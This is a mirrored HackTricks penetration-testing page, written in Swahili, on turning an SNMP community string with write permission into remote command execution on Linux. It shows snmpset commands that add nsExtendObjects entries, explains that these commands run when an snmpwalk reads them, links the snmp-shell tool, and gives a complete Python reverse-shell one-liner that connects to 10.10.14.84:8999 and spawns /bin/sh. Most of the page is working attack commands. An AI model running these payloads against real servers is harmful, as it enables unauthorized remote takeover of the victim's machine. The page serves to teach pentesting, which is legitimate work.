mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
48 lines
2.9 KiB
Markdown
48 lines
2.9 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
# SNMP RCE
|
|
|
|
SNMP inaweza kutumiwa na mshambuliaji ikiwa msimamizi atapuuzilia mbali usanidi wake wa kawaida kwenye kifaa au seva. Kwa **kutumia SNMP jamii yenye ruhusa za kuandika (rwcommunity)** kwenye mfumo wa uendeshaji wa Linux, mshambuliaji anaweza kutekeleza amri kwenye seva.
|
|
|
|
## Kupanua Huduma kwa Amri Zaidi
|
|
|
|
Ili kupanua huduma za SNMP na kuongeza amri za ziada, inawezekana kuongeza **safu mpya kwenye meza ya "nsExtendObjects"**. Hii inaweza kufanywa kwa kutumia amri ya `snmpset` na kutoa vigezo vinavyohitajika, ikiwa ni pamoja na njia kamili ya faili inayoweza kutekelezwa na amri itakayotekelezwa:
|
|
```bash
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
|
'nsExtendStatus."evilcommand"' = createAndGo \
|
|
'nsExtendCommand."evilcommand"' = /bin/echo \
|
|
'nsExtendArgs."evilcommand"' = 'hello world'
|
|
```
|
|
## Kuingiza Amri kwa Utekelezaji
|
|
|
|
Kuingiza amri ili kufanyika kwenye huduma ya SNMP kunahitaji kuwepo na uwezo wa kutekeleza faili la binary/script lililotajwa. **`NET-SNMP-EXTEND-MIB`** inahitaji kutoa njia kamili ya faili la kutekeleza.
|
|
|
|
Ili kuthibitisha utekelezaji wa amri iliyoungizwa, amri ya `snmpwalk` inaweza kutumika kuorodhesha huduma ya SNMP. **matokeo yataonyesha amri na maelezo yake yanayohusiana**, ikiwa ni pamoja na njia kamili:
|
|
```bash
|
|
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
|
```
|
|
## Kukimbia Amri Zilizowekwa
|
|
|
|
Wakati **amri iliyowekwa inasomwa, inatekelezwa**. Tabia hii inajulikana kama **`run-on-read()`** Utekelezaji wa amri unaweza kuonekana wakati wa kusoma snmpwalk.
|
|
|
|
### Kupata Shell ya Server kwa SNMP
|
|
|
|
Ili kupata udhibiti wa server na kupata shell ya server, script ya python iliyotengenezwa na mxrch inaweza kutumika kutoka [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
|
|
|
|
Vinginevyo, shell ya kurudi inaweza kuundwa kwa mikono kwa kuingiza amri maalum ndani ya SNMP. Amri hii, inayosababishwa na snmpwalk, inaanzisha muunganisho wa shell ya kurudi kwa mashine ya mshambuliaji, ikiruhusu udhibiti wa mashine ya mwathirika. Unaweza kufunga mahitaji ya awali ili kukimbia hii:
|
|
```bash
|
|
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
|
git clone https://github.com/mxrch/snmp-shell
|
|
cd snmp-shell
|
|
sudo python3 -m pip install -r requirements.txt
|
|
```
|
|
Au shell ya kurudi:
|
|
```bash
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
|
```
|
|
## Marejeo
|
|
|
|
- [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|